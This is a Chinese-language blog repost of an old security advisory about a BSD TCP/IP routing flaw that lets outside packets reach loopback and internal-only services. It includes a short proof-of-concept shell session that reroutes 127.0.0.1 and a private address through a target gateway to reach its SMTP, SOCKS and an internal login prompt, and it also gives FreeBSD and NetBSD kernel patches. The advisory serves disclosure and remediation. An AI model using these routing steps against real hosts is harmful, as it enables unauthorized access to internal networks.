TCP/IP堆疊中的路由漏洞 (BSD,缺陷) (轉)

gugu99發表於2008-07-10
TCP/IP堆疊中的路由漏洞 (BSD,缺陷) (轉)[@more@]堆疊中的 (,缺陷)
 
(轉自安絡科技)

涉及:
LBACK 和 MULTI-HOMED
 
描述:
TCP/堆疊中的 LOOPBACK 和 MULTI-HOMED 路由漏洞
 
詳細:
在 TCP/IP 堆疊中存在一個漏洞:被用來測試迴路或介面的資訊包即使在機器被成不允許路由時也能透過其它介面獲得路由。這意味著這些被設計成僅用來在機器內部起作用而對外部不可用的服務能被利用來為外部提供服務。從而可透過緩衝區威脅到主機或相鄰網路。

****以下程式碼僅僅用來測試和研究這個漏洞,如果您將其用於不正當的途徑請後果自負****


假設213.129.64.X代表公共網,172.16.X.X代表內部私人主機。213.129.64.1在25號埠執行SENDAMIL,為當地程式提供SMTP服務。者在213.129.64.2上。
213.129.64.2# route delete 127.0.0.1
delete host 127.0.0.1
213.129.64.2# route add 127.0.0.1 213.129.64.1
add host 127.0.0.1 gateway 213.129.64.1
213.129.64.2# 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 eeek.woodyland.not ESMTP send blah blah blah
若213.129.64.1僅對其內部網172.16.1.1執行SOCKS服務:
213.129.64.2# route add 172.16.1.1 213.129.64.1
213.129.64.2#add host 172.16.1.1: gateway 213.129.64.1
213.129.64.2# telnet 172.16.1.1 1080
Trying 172.16.1.1...
Connected to 172.16.1.1.
Escape character is '^]'.
213.129.64.2# export SOCKS_SERVER=172.16.1.1
213.129.64.2# rtelnet 172.16.1.2
Trying 172.16.1.2...
Connected to kerpow.woodyland.not Escape character is '^]'.
02/02/01 22:25:32 on /dev/con1
Last login: 02/02/01 21:22:54 on /dev/con1
login:

受影響:
 
 OpenBSD
 NetBSD

 
解決方案:
FreeBSD4.2 已新增:
--- /usr/src/sys/netinet/ip_input.c.org Sun Dec 17 16:04:49 2000
+++ /usr/src/sys/netinet/ip_input.c Mon Dec 18 16:46:14 2000
@@ -486,7 +486,9 @@


 ip_fw_fwd_addr->sin_addr.s_addr)
 goto ours;
#else
- if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr)
+ if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr
+ && (ia->ia_ifp == m->m_pkthdr.rcvif
+ || m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK))
 goto ours;
#endif
 if (ia->ia_ifp && ia->ia_ifp->if_flags & IFF_BROADCAST)
{

OpenBSD:尚未推出補丁。

NetBSD: 請將下面的補丁打入 sys/netinet/ip_input.c
*** ip_input.c 2001/03/01 16:31:39 1.128
--- ip_input.c 2001/03/02 02:05:36 1.129
***************
*** 416,421 ****
--- 416,428 ----
 if (IN_MULTICAST(ip->ip_src.s_addr)) {
 /* XXX stat */
 goto bad;
+ }
+
+ /* 127/8 must not appear on wire - 1122 */
+ if ((ntohl(ip->ip_dst.s_addr) >> IN_CLASSA_NSHIFT) ==
IN_LOOPBACKNET ||
+ (ntohl(ip->ip_src.s_addr) >> IN_CLASSA_NSHIFT) ==
IN_LOOPBACKNET) {
+ if ((m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK) == 0)
+ goto bad;
 }


 if (in_cksum(m, hlen) != 0) { 

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10748419/viewspace-1007063/,如需轉載,請註明出處,否則將追究法律責任。

相關文章